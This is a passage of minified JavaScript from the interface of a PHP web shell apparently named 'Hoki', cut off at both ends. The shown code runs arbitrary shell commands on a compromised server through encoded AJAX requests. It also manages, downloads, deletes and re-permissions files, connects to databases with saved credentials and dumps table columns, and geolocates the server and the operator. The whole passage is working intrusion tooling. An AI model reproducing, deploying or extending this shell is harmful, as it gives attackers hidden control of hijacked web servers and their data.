u=document.createElement("DIV");u.classList.add("alert-content-title"),u.innerText=t.title,r.appendChild(u)}if(r.appendChild(o),l.appendChild(r),t.hideCloseButton&&void 0!==t.hideCloseButton||l.appendChild(n),t.hasOwnProperty("type")&&l.classList.add(this.types[t.type].class),i.appendChild(l),n.addEventListener("click",function(e){e.preventDefault(),d.hide(l)}),!t.persistent)var p=setTimeout(function(){d.hide(l),clearTimeout(p)},t.closeTime)},this.hide=function(e){e.classList.add("hide");var t=setTimeout(function(){e.parentNode.removeChild(e),clearTimeout(t)},500)}};function hokiShowNotification(e,t,a,i,l){void 0===a&&(a="success"),void 0===i&&(i=!1),void 0===l&&(l=1e4);var r={closeTime:l,persistent:i,type:a,hideCloseButton:!1};void 0!==t&&(r.title=t),new hokiAlertBox("#alert-area",r).show(e)}function hokiSyncMenuToOpt(e,t){var a="",i="",l=null;void 0!==t?(a="view_archive",i=e,l=location):(a=e.name,i=e.getAttribute("fname"),l=e),"extract"==a?(hoki_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=deziper",g("deziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="DeCompressor"):"compress"==a?(hoki_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=ziper",g("ziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="Compressor"):"view_archive"==a&&(hoki_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=archive_manager",g("archive_manager",null,"",c_+"/"+i,""),d.querySelector(".opt-title").innerHTML="Archive Manager")}function doFilterName(e){var t="#filesman_holder_"+hoki_current_fm_id;setTimeout(function(){var a=new RegExp(e.value,"i");d.querySelectorAll(t+" .fmanager-row").forEach(function(e){-1==e.querySelector(".main_name").getAttribute("fname").search(a)?e.style.display="none":e.style.display="table-row"})},100)}function sortBySelectedValue(e,t){setCookie(t,e.options[e.selectedIndex].value,2012),g("FilesMan",c_)}function loadPopUpDatabase(e,t,a){if(console.log(t),$("database_window").style.display="block",void 0===t){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}try{d.querySelector(".sql-tabs .sql-newtab").remove()}catch(e){}var i="id_db_"+getRandom(10);d.querySelector("#database_window .content_options_holder .sql-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="sql-content sql-active-content">'+e+"</div>"),d.querySelector("#database_window .content_options_holder .sql-tabs").insertAdjacentHTML("beforeend",'<div id="tab_'+i+'" opt_id="'+i+'" class="sql-tabname sql-active-tab" onclick="dbTabController(this);"><span style="font-weight:unset;">New DB Connection</span> <img opt_id="'+i+'" onclick="closeDatabase(this,event);return false;" title="[close]" src="https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png"></div><div class="sql-newtab" onclick="hoki_can_add_opt=true;g(\'sql\',null,\'\',\'\',\'\');" style="background-color:#800000;"><span style="font-weight:unset;">New Tab +</span></div>'),$(i).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",i)});try{$(i).querySelector(".getconfig").setAttribute("base_id",i)}catch(e){}return i}$(t).innerHTML=e;var l=$("tab_"+t);null!=l&&((-1==l.classList.value.indexOf("sql-active-tab")||database_window_is_minimized)&&(l.classList.add("tab-is-done"),hokiShowNotification("proccess is done...","DB: "+l.innerText)),database_window_is_minimized&&hokiUpdateOptionsBadge("database_window")),void 0!==mysql_cache[t]&&mysql_cache[t].hasOwnProperty("db")&&mysql_cache[t].db.length>0&&"update"!=a&&(d.querySelector("#tab_"+t+">span").innerHTML=mysql_cache[t].db),$(t).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",t)});try{$(t).querySelector(".getconfig").setAttribute("base_id",t)}catch(e){}database_window_is_minimized||(d.body.style.overflow="hidden")}function loadPopUpOpTions(e,t){console.log(e),hoki_before_do_action_id="",$("options_window").style.display="block";var a=$("option_"+e);if(hoki_can_add_opt){hoki_can_add_opt=!1;try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var i="",l=$("menu_opt_"+e).innerHTML;"market"==e?l="Hoki Market":"GetDisFunc"==e&&(l="Disable Functions");try{d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}if(null!=a){var r=a.getAttribute("opt_count");null!=r?(i=parseInt(r)+1,a.setAttribute("opt_count",i)):(i=1,a.setAttribute("opt_count",i))}var o="option_"+e+i;d.querySelector("#options_window .content_options_holder .options_content").insertAdjacentHTML("afterbegin",'<div id="'+o+'" class="options_holder">'+t+"</div>"),d.querySelector("#options_window .content_options_holder .options_tab").insertAdjacentHTML("beforeend",'<div opt_id="'+o+'" onclick="optionsTabController(this);" title="'+l+'" id="tab_'+o+'" class="tab_name tab_is_active">'+l+' <img opt_id="'+o+'" onclick="closeOption(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),$(o).classList.toggle("option_is_active"),d.querySelectorAll("#"+o+" form, #"+o+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var l=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'hokiBeforeDoAction("'+e+i+'");'+l),t.setAttribute("opt_id",e+i)}else{l=t.getAttribute("onclick");t.setAttribute("onclick",'hokiBeforeDoAction("'+e+i+'");'+l)}});try{$(o).querySelector(".getconfig").setAttribute("base_id",e+i)}catch(e){}return e+i}a.innerHTML=t;var n=$("tab_option_"+e);null!=n&&((-1==n.classList.value.indexOf("tab_is_active")||options_window_is_minimized)&&(n.classList.add("tab-is-done"),hokiShowNotification("proccess is done...",n.innerText)),options_window_is_minimized&&hokiUpdateOptionsBadge("options_window")),d.querySelectorAll("#option_"+e+" form, #option_"+e+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var i=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'hokiBeforeDoAction("'+e+'");'+i),t.setAttribute("opt_id",e)}else{i=t.getAttribute("onclick");t.setAttribute("onclick",'hokiBeforeDoAction("'+e+'");'+i)}});try{a.querySelector(".getconfig").setAttribute("base_id",e)}catch(e){}options_window_is_minimized||(d.body.style.overflow="hidden")}function hokiBeforeDoAction(e){hoki_before_do_action_id=e}function hokiLoaderOnTop(e){$("a_loader").style.display=e,d.body.style.overflow="block"==e?"hidden":"visible"}function hokiAjaxController(e){var t=e.getAttribute("parent");$("loader_"+t).remove(),"filesman_holder"==t.substr(0,15)&&($(t).style.minHeight="0"),_HOKI_AJAX_.hasOwnProperty(t)&&_HOKI_AJAX_[t].abort()}function closeDatabase(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("sql-active-tab"))if((e=d.querySelectorAll(".sql-tabs .sql-tabname")).length>1){e[0].classList.add("sql-active-tab");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("sql-active-content")}else editorClose("database_window");d.querySelector("div[opt_id="+a+"]").remove()}function closeFmTab(e,t){t.stopPropagation();var a=e.getAttribute("fm_id"),i=$("filesman_tab_"+a);if(-1!=i.classList.value.indexOf("filesman-tab-active")&&(e=d.querySelectorAll("#filesman_tabs .filesman_tab")).length>1){e[0].classList.add("filesman-tab-active");var l=e[0].getAttribute("fm_id"),r="filesman_holder_"+l;if(null!=$(r)){$(r).classList.toggle("filesman-active-content");var o=$("filesman_tab_"+l).getAttribute("path");initDir(o),d.mf.c.value=o,hoki_current_fm_id=l}}i.remove(),$("filesman_holder_"+a).remove(),hokiFilesmanTabHideTitle()}function closeOption(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("tab_is_active"))if((e=d.querySelectorAll(".options_tab .tab_name")).length>1){e[0].classList.add("tab_is_active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("option_is_active")}else editorClose("options_window");d.querySelector("div[opt_id="+a+"]").remove()}function historyPanelController(e){"hidden"==e.getAttribute("mode")?(d.querySelector(".editor-explorer").style.display="block",d.querySelector(".editor-modal").style.marginLeft="20%",e.setAttribute("mode","visible"),e.style.left="19%",e.innerHTML="<<"):(d.querySelector(".editor-explorer").style.display="none",d.querySelector(".editor-modal").style.marginLeft="1%",e.setAttribute("mode","hidden"),e.style.left="0%",e.innerHTML=">>")}function closeTerminalContent(e,t){t.stopPropagation();var a=e.getAttribute("term_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("active-terminal-tab"))&&(e=d.querySelectorAll(".terminal-tabs .terminal-tab")).length>1){e[0].classList.add("active-terminal-tab");var i=e[0].getAttribute("term_id");null!=$(i)&&$(i).classList.toggle("active-terminal-content")}d.querySelector("div[term_id="+a+"]").remove()}function closeEditorContent(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("editor-tab-active"))&&(e=d.querySelectorAll(".editor-tabs .editor-tab-name")).length>1){e[0].classList.add("editor-tab-active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("editor-content-active")}d.querySelector("div[opt_id="+a+"]").remove()}function optionsTabController(e){try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("option_is_active");try{d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("tab_is_active"),d.querySelector(".opt-title").innerHTML=e.getAttribute("title"),hokiUpdateOptionsBadge("options_window")}function terminalTabController(e){try{d.querySelector(".terminal-tab.active-terminal-tab").classList.remove("active-terminal-tab")}catch(e){}try{d.querySelector(".terminal-content.active-terminal-content").classList.remove("active-terminal-content")}catch(e){}var t=e.getAttribute("term_id");if(null==t)return!1;$(t).classList.toggle("active-terminal-content"),e.classList.remove("tab-is-done"),e.classList.add("active-terminal-tab"),$(t).querySelector(".php-terminal-input").focus(),hokiUpdateOptionsBadge("cgiloader")}function filesmanTabController(e){try{d.querySelector(".ajaxarea.filesman-active-content").classList.remove("filesman-active-content")}catch(e){}try{d.querySelector(".filesman_tab.filesman-tab-active").classList.remove("filesman-tab-active")}catch(e){}var t=e.getAttribute("fm_id");if(null==t)return!1;hoki_current_fm_id=t,e.classList.add("filesman-tab-active"),e.classList.remove("tab-is-done"),$("filesman_holder_"+t).classList.toggle("filesman-active-content");var a=e.getAttribute("path");initDir(a),d.mf.c.value=a}function dbTabController(e){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("sql-active-content"),e.classList.remove("tab-is-done"),e.classList.add("sql-active-tab"),hokiUpdateOptionsBadge("database_window")}function editorTabController(e,t){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}var a=null;void 0===t?a=e.getAttribute("opt_id"):(a=e,e=$("tab_"+a));var i=editor_files["file_"+a.replace("editor_source_","")];if(void 0!==i&&(d.querySelector(".editor-path").innerHTML=(i.pwd+"/"+i.file).replace(/\/\//g,"/")),null==a)return!1;$(a).classList.toggle("editor-content-active");try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("editor-tab-active"),hokiUpdateOptionsBadge("editor")}function hokiUpdateOptionsBadge(e){var t=d.querySelector("#"+e+"-minimized .options_min_badge");if(null!=t){var a=d.querySelectorAll("#"+e+" .tab-is-done").length;t.innerHTML=a,t.style.visibility=a>0?"visible":"hidden"}}function hokiOpenPhpTerminal(e){if(php_temrinal_using_cgi&&void 0===e)showEditor("cgiloader");else{$("cgiloader").style.display="block",$("cgiloader").style.background="rgba(0, 0, 0, 0.57)",$("cgiframe").style.background="rgba(0, 0, 0, 0.81)",$("cgiframe").style.border="1px solid rgb(30, 86, 115)",$("cgiframe").style.height="90%",$("cgiframe").style.padding="3px",d.querySelector("#cgiloader .opt-title").innerHTML="Terminal";var t="",a="",i="terminal_id_"+getRandom(10);void 0===e&&(t=" active-terminal-content",a=" active-terminal-tab"),d.querySelector("#cgiframe .terminal-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="terminal-content'+t+'"><div class="php-terminal-output"><div><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+'\',1);">+</button><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+"',0);\">-</button><input onchange=\"hokiTerminalChangecolor(this,'"+i+'\');" style="height: 18px;background: #dde2e2;" type="color"></div><pre class="ml1" style="border:unset;height: 90%;"></pre></div><div><form term_id="'+i+'" onSubmit="hokiExecTerminal(this);this.c.value=\'\';return false;" autocomplete="off" style="margin-top: 10px;"><div style="overflow: auto;white-space: nowrap;"><div style="display: inline-block;color:#4fbec3;margin-bottom:5px;margin-right:5px;">CWD:~# </div><div style="display: inline-block;color:#42ec42;" class="php-terminal-current-dir"></div></div><div style="position:relative;"><span style="color: #00ff08;font-size: 25px;">$ </span><input style="padding: 8px;font-size: 20px;width: 67%;border: 1px solid #27979B;padding-right:35px;" onkeyup="hokiWalkInTerminalHistory(this,event,\''+i+'\');" term_id="'+i+'" class="php-terminal-input" type="text" name="c" onfocus="closeHistoryCmd(\'free\',this);" placeholder="ls -la"><button class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;">ExeCute<button term_id="'+i+'" class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;" onClick="hokiExecTerminal(this, 1);return false;">Current Dir</button><div class="cmd-history-holder"><div class="commands-history-header">History</div><span onClick="clearTerminalHistory();" style="border-bottom: 1px solid;margin-bottom: 5px;display: inline-block;padding: 5px;color: #59de69;cursor: pointer;">Clear history</span><div style="overflow: auto;height: 82%;" class="commands-history"></div></div><div term_id="'+i+'" class="cmd-history-icon" mode="" onclick="closeHistoryCmd(this);"><img style="width:27px;" src="https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png"></div></form></div></div></div>');try{$("terminal_new_tab").remove()}catch(e){}d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="terminalTabController(this);" term_id="'+i+'" id="tab_'+i+'" class="terminal-tab'+a+'">Terminal <img term_id="'+i+'" onclick="closeTerminalContent(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="hokiOpenPhpTerminal(true);" id="terminal_new_tab" style="background-color:#800000;" class="terminal-tab">New Tab +</div>'),terminal_walk_index[i]={index:0,key:-1},d.querySelector("#"+i+" .php-terminal-input").focus(),d.querySelector("#"+i+" .php-terminal-current-dir").innerHTML=c_,d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Terminal",hokiTerminalSetColorAndSize(i),php_temrinal_using_cgi=!0;var l=hokiGetTerminalHistory();for(var r in l)d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+l[r]+"</div>")}d.body.style.overflow="hidden"}function hokiTerminalSetColorAndSize(e){var t=getCookie("hoki-terminal-color"),a=getCookie("hoki-terminal-fontsize");void 0!==t&&(d.querySelector("#"+e+" pre.ml1").style.color=t),void 0!==a&&(d.querySelector("#"+e+" pre.ml1").style.fontSize=a)}function hokiTerminalChangecolor(e,t){d.querySelector("#"+t+" pre.ml1").style.color=e.value,setCookie("hoki-terminal-color",e.value,2012)}function hokiGetTerminalHistory(e){var t=getCookie("hoki-terminal-history");try{t=atob(t),t=JSON.parse(t)}catch(e){t=[]}return void 0!==e&&t.reverse(),t}function changeTerminalFontSize(e,t){var a=d.querySelector("#"+e+" pre.ml1"),i=parseInt(window.getComputedStyle(a,null).getPropertyValue("font-size")),l="";1==t?(l=i+1+"px",a.style.fontSize=l):(l=i-1+"px",a.style.fontSize=l),setCookie("hoki-terminal-fontsize",l,2012)}function hokiWalkInTerminalHistory(e,t,a){var i=t||window.event;if("38"==i.keyCode||"40"==i.keyCode||"37"==i.keyCode||"39"==i.keyCode)switch(i.keyCode){case 38:var l=hokiGetTerminalHistory(!0),r="";0==terminal_walk_index[a].index?(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,void 0!==(r=l[terminal_walk_index[a].index])?(e.value=r,++terminal_walk_index[a].index):(e.value="",terminal_walk_index[a].index=0)):terminal_walk_index[a].index<l.length&&(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,e.value=l[terminal_walk_index[a].index],++terminal_walk_index[a].index),terminal_walk_index[a].key=1;break;case 40:l=hokiGetTerminalHistory(!0);if(terminal_walk_index[a].index>=0)0!=terminal_walk_index[a].index&&(--terminal_walk_index[a].index,1==terminal_walk_index[a].key&&--terminal_walk_index[a].index),void 0!==(r=l[terminal_walk_index[a].index])?e.value=r:(e.value="",terminal_walk_index[a].index=0);terminal_walk_index[a].key=0;break;default:console.log(i.keyCode)}else terminal_walk_index[a].index=0}function clearTerminalHistory(){d.querySelectorAll(".commands-history").forEach(function(e){e.innerHTML=""}),setCookie("hoki-terminal-history","",2012)}function hokiAceToFullscreen(e){var t=e.getAttribute("ace_id");hoki_ace_editors.editor[t].container.requestFullscreen()}function closeHistoryCmd(e,t){if("free"==e){var a=t.getAttribute("term_id");return e=d.querySelector("#"+a+" .cmd-history-icon"),d.querySelector("#"+a+" .cmd-history-holder").style.visibility="hidden",d.querySelector("#"+a+" .cmd-history-holder").style.opacity="0",e.setAttribute("mode","off"),!1}var i=e.getAttribute("mode"),l=(a=e.getAttribute("term_id"),d.querySelector("#"+a+" .cmd-history-holder"));0==i.length||"off"==i?(l.style.visibility="visible",l.style.opacity="1",e.setAttribute("mode","on")):(l.style.visibility="hidden",l.style.opacity="0",e.setAttribute("mode","off"))}function geEvalAceValue(e){var t=e.querySelector(".php-evals-ace").getAttribute("id");return hoki_ace_editors.eval[t].getValue()}function hokiOpenArchive(e){var t=e.getAttribute("path"),a=e.getAttribute("fname"),i=e.getAttribute("base_id");if(".."==a&&"phar://"!=t.substr(0,7))return!1;var l="a="+hokib64("open_archive_dir")+"&c="+hokib64(c_)+"&hoki1="+hokib64(t)+"&hoki2="+hokib64(i)+"&ajax="+hokib64("true");_Ajax(d.URL,l,function(e){if("0"!=e){$("archive_base_"+i).innerHTML=e;var a=$("archive_dir_"+i).getAttribute("archive_name"),l=$("archive_dir_"+i).getAttribute("archive_full"),r="",o="";if(0!=(t=t.split(a)[1]).length){var n=(t=t.split("/")).length-1;for(var s in 0==t[n].length&&t.splice(n,1),t)0!=t.length&&(o+=t[s]+"/",r+='<a base_id="'+i+'" fname="'+t[s]+'" path="'+l+o+'" onclick="hokiOpenArchive(this);">'+t[s]+"/</a>")}d.querySelector("#archive_dir_"+i+" .archive_pwd_holder").innerHTML=r}},!1,"open_archive_dir")}function hokiDeleteConnectToDb(e){d.querySelectorAll(".dbh_"+e).forEach(function(e){e.remove()}),hokiConnectionHistoryUpdate(e)}function hokiConnectToDb(e,t){var a={};try{a=JSON.parse(atob(getCookie("hoki_connection_hist")))}catch(e){}var i=d.querySelector("#"+t+" div.sf");i.querySelector("input[name=sql_host]").value=a[e].host,i.querySelector("input[name=sql_login]").value=a[e].user,i.querySelector("input[name=sql_pass]").value=a[e].pass,(i.querySelector("input[name=sql_base]")?i.querySelector("input[name=sql_base]"):i.querySelector("select[name=sql_base]")).value=a[e].db,i.querySelector("input[name=sql_count]").checked=!0,d.querySelector("#"+t+" div.sf .db-connect-btn").click()}function hokiShowConnectionHistory(e){var t={},a=e.getAttribute("db_id"),i=e.getAttribute("mode");if(rows='<table class="connection-hist-table"><tr><th>*</th><th>Host</th><th>User</th><th>Pass</th><th>Database</th><th>Connect</th><th>Delete</th></tr>',"on"==i){e.setAttribute("mode","off");try{t=JSON.parse(atob(getCookie("hoki_connection_hist")))}catch(e){}var l,r=1;for(l in t){var o=t[l].user+"_"+t[l].db;rows+='<tr class="dbh_'+o+'"><th>'+r+"</th><th>"+t[l].host+"</th><th>"+t[l].user+"</th><th>"+t[l].pass+"</th><th>"+t[l].db+'</th><th><button style="margin: unset;" class="connection-his-btn" onclick=\'hokiConnectToDb("'+o+'","'+a+'");\'>Connect</button></th><th style="text-align: center;"><button style="margin: unset;" class="connection-his-btn connection-delete" onclick=\'hokiDeleteConnectToDb("'+o+"\");'>X</button></th></tr>",r++}rows+="</table"}else e.setAttribute("mode","on"),rows="";d.querySelector("#"+a+" .connection_history_holder").innerHTML=rows}function hokiConnectionHistoryUpdate(e){var t,a={};try{a=JSON.parse(atob(getCookie("hoki_connection_hist")))}catch(e){}for(t in mysql_cache)0!=mysql_cache[t].db.length&&(a[mysql_cache[t].user+"_"+mysql_cache[t].db]=mysql_cache[t]);void 0!==e&&delete a[e],setCookie("hoki_connection_hist",btoa(JSON.stringify(a)),2012)}function hokiExecTerminal(e,t){var a="";if(0==(a=void 0!==t?"cd "+c_:e.c.value).length)return!1;"l"==a?a="ls -trh --color":"ll"==a&&(a="ls -ltrh --color");var i=e.getAttribute("term_id");hokiloader(i,"block"),closeHistoryCmd("free",e);var l="";"FORM"==e.tagName&&(l=e.querySelector(".php-terminal-current-dir").innerHTML),0==(l=l.trim()).length&&(l=c_);var r="a="+hokib64("terminalExec")+"&c="+hokib64(l)+"&hoki1="+hokib64(a)+"&ajax="+hokib64("true");if(_Ajax(d.URL,r,function(e,t){hokiloader(t,"none");try{var a=$("tab_"+i);null!=a&&((-1==a.classList.value.indexOf("active-terminal-tab")||cgi_is_minimized)&&(a.classList.add("tab-is-done"),hokiShowNotification("proccess is done...",a.innerText)),cgi_is_minimized&&hokiUpdateOptionsBadge("cgiloader"))}catch(e){}e=JSON.parse(e),d.querySelector("#"+t+" .php-terminal-output > pre").innerHTML=e.output,0!=e.path.length&&(d.querySelector("#"+t+" .php-terminal-current-dir").innerHTML=e.path)},!1,i),void 0===t){d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+a+"</div>");var o=hokiGetTerminalHistory(),n=o.indexOf(a);-1!=n&&o.splice(n,1),o.push(a),setCookie("hoki-terminal-history",btoa(JSON.stringify(o)),2012)}d.querySelector("#"+i+" input.php-terminal-input").focus()}function pageChangedFilesMan(e){var t="filesman_holder_"+hoki_current_fm_id,a=getCookie(t+"_page_number"),i=e.innerText;if("<<"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;if(!((a=parseInt(a))>1))return!1;i=a-1}if(">>"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;a=parseInt(a);var l=d.querySelector("#"+t+" .last-page-number").innerHTML;if(!(a+1<=(l=parseInt(l))))return!1;i=a+1}setCookie(t+"_page_number",i,2012),g("FilesMan",c_)}function hokiColDumperInit(){var e=d.querySelector(".tab_name.tab_is_active").getAttribute("opt_id"),t=d.querySelector("#"+e),a=t.getElementsByClassName("box");for(i=0;i<a.length;i++)a[i].addEventListener("click",function(){null!=this.parentElement.querySelector(".nested")&&(this.parentElement.querySelector(".nested").classList.toggle("active"),this.classList.toggle("check-box"))});var i;a=t.getElementsByClassName("sub-box");for(i=0;i<a.length;i++)a[i].setAttribute("opt_id",e),a[i].addEventListener("click",function(){this.classList.toggle("check-box");var e=this.getAttribute("tbl"),t=this.getAttribute("opt_id");t=t.replace("option_",""),col_dumper_selected_data.hasOwnProperty(t)||(col_dumper_selected_data[t]={}),void 0===col_dumper_selected_data[t][e]&&(col_dumper_selected_data[t][e]=[]);var a=this.innerHTML,i=col_dumper_selected_data[t][e].indexOf(a);-1==i?col_dumper_selected_data[t][e].push(a):col_dumper_selected_data[t][e].splice(i,1)})}function showSymlinkPath(e,t){t.stopPropagation();var a=e.getAttribute("row"),i=$("td_row_"+a),l=e.getAttribute("opt_title"),r=e.getAttribute("fname");if(l=decodeURIComponent(r)+" -> "+l,null!=i){i.insertAdjacentHTML("afterbegin",'<div class="symlink_path" id="link_id_'+a+'">'+l+"</div>");var o=t.clientX,n=t.clientY-30;$("link_id_"+a).style.left=o+"px",$("link_id_"+a).style.top=n+"px"}}function hideSymlinkPath(e,t){t.stopPropagation(),$("link_id_"+e.getAttribute("row")).remove()}function hokigetFlags(){data="a="+hokib64("get_flags")+"&c="+hokib64(c_)+"&ajax="+hokib64("true"),_Ajax(d.URL,data,function(e){var t=JSON.parse(e);t.hasOwnProperty("server")&&(d.querySelectorAll(".flag-holder")[0].innerHTML='<img draggable="false" title="'+t.server.name+'" src="http://solevisible.com/images/flags/48/'+t.server.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[0].style.display="inline"),t.hasOwnProperty("client")&&(d.querySelectorAll(".flag-holder")[1].innerHTML='<img draggable="false" title="'+t.client.name+'" src="http://solevisible.com/images/flags/48/'+t.client.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[1].style.display="inline")})}function colDumplerSelectType(e){var t=e.options[e.selectedIndex].value;$("coldumper-delimiter-input").style.display="delimiter"==t?"inline-block":"none"}function hokiCheckUrlHash(){var e=window.location.hash.substr(1),t=e.split("&").reduce(function(e,t){var a=t.split("=");return e[a[0]]=a[1],e},{});if(""!=e)switch(t.action){case"fileman":case"options":t.path=decodeURIComponent(t.path),g("FilesMan",t.path,function(e){if(t.hasOwnProperty("file")){var a="auto";isArchive(t.file)&&(a="view"),editor(t.path+"/"+t.file,a,"","","","file")}}),"options"==t.action&&t.hasOwnProperty("opt")&&(hoki_can_add_opt=!0,g(t.opt,null,"","",""),d.querySelector(".opt-title").innerHTML=$("menu_opt_"+t.opt).innerHTML),t.hasOwnProperty("file")||editorClose("editor"),t.hasOwnProperty("opt")||editorClose("options_window"),editorClose("cgiloader");break;default:g("FilesMan","<?php echo $GLOBALS["cwd"]; ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}else g("FilesMan","<?php echo $GLOBALS["cwd"]; ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}function hokiFmngrContextRow(){d.querySelectorAll(".fmanager-row a.main_name").forEach(function(e){e.addEventListener("contextmenu",function(e){var t=e.target,a="";if(".."==(a="A"==e.target.parentElement.tagName?(t=e.target.parentElement).getAttribute("fname"):t.getAttribute("fname")))return!1;var i=t.getAttribute("id"),l=t.getAttribute("path"),r=t.getAttribute("ftype"),o=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete"];for(var n in"file"!=r||isArchive(a)?o[3]="view_archive":o.splice(11,1),"folder"==r&&(o=["newtab","link","move","copy","rename","modify","permission","compress","delete"]),hokiSortMenuItems(o),o){var s=d.querySelector("#rightclick_menu > a[name="+o[n]+"]");switch(s.setAttribute("fid",i),s.setAttribute("fname",decodeURIComponent(a)),s.setAttribute("path",l),s.setAttribute("ftype",r),o[n]){case"view":case"edit":var c="auto";"edit"==o[n]&&(c="edit"),s.setAttribute("href","#action=fileman&path="+c_+"/&file="+a),s.setAttribute("onclick","editor('"+a+"','"+c+"','','','','file')");break;case"newtab":var u=a;"file"==r?(u="&file="+a,s.setAttribute("href","#action=fileman&path="+c_+"/"+u),s.setAttribute("target","_blank"),s.onclick=function(){}):(s.setAttribute("href","javascript:void(0)"),s.removeAttribute("target"),s.onclick=function(){hokiFilesManNewTab(c_,u)});break;case"delete":s.setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';");break;case"download":s.setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')");break;case"permission":try{var p=d.querySelector("#id_chmode_"+i.replace("id_","")+" span").innerHTML;s.setAttribute("perm",p.trim())}catch(e){}break;case"link":s.style.display="block";var f="<?php echo $_SERVER["DOCUMENT_ROOT"]; ?>/",m=(c_+"/"+a).replace(/\/\//g,"/");if(-1!=m.indexOf(f)){f=m.replace(f,"");var b=location.origin+"/"+f;s.setAttribute("href",""+b)}else s.style.display="none"}}var y=e.clientX,_=e.clientY;hokiRightClickMenu(y,_),e.preventDefault()})})}function hokiFilesManNewTab(e,t,a){var i=t;void 0!==a&&(i=hokiGetLastFolderName(e));var l=decodeURIComponent(e+"/"+t);l=l.replace(/\/\//g,"/");var r=$("filesman_tab_1"),o=r.getAttribute("fm_counter");o=parseInt(o)+1,r.setAttribute("fm_counter",o),d.querySelector("#filesman_tabs_child").insertAdjacentHTML("beforeend",'<div onmouseover="hokiFilesmanTabShowTitle(this,event);" onmouseout="hokiFilesmanTabHideTitle(this,event);" path="'+l+'" id="filesman_tab_'+o+'" fm_id="'+o+'" onclick="filesmanTabController(this);" fname="'+t+'" class="filesman_tab"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span class="filesman-tab-folder-name">'+i+'</span> <img fm_id="'+o+'" onclick="closeFmTab(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector(".ajaxarea").insertAdjacentHTML("beforebegin",'<div style="position:relative;" fm_id="'+o+'" id="filesman_holder_'+o+'" class="ajaxarea"><div class="header"></div></div>'),hoki_fm_id=o,g("FilesMan",l),hoki_fm_id=0}function 